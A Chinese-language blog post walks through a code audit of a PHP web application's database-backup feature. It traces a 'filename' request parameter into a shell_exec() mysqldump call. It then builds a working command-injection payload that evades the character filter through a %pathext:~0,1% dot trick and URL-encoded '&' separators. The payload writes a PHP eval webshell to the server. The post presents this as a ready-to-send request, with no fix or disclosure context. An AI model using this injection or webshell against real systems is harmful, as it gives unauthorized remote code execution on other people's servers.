赞
踩
在浏览后台网站之后发现,在数据备份处有一个系统**MySql Dump(shell)**的备份方式
由此联想到操纵计算机执行相关的命令,且获取所有数据的函数shell_exec()
发现有2个文件存在该函数
分别查看,进行审计
shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);
$file = urldecode($id);
shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql";
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName);
发现 b a c k u p F i l e N a m e 是由变量 backupFileName是由变量 backupFileName是由变量fileName,经过str_replace()函数和路径拼接处理后所得
其中str_replace()函数将"/", "\\", ".", "'"
都替换为了空
继续查看$filename,向上审计
$fileName = core\utils\Env::getRequest("filename");
filename
获得filename
通过函数shell_exec执行我们写入生成php文件的代码
方法:使用管道符进行多条命令执行
&echo <?php%20eval($_REQUEST[6]);?> >7.php&
由于其中对传入的filename进行了过滤,"/", "\\", ".", "'"
都替换为了空
尝试绕过点.
的过滤
方法:切割环境变量%pathext:~0,1%
来获取点.
&echo <?php%20eval($_REQUEST[6]);?> >7%pathext:~0,1%php&
其中POST传参中&符号是连接多个参数,这里的**管道符&**不能直接使用
构造payload
%26echo%20"<?php%20eval($_REQUEST[6]);?>"%20>7%pathext:~0,1%php%26
抓包修改数据,写入payload
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。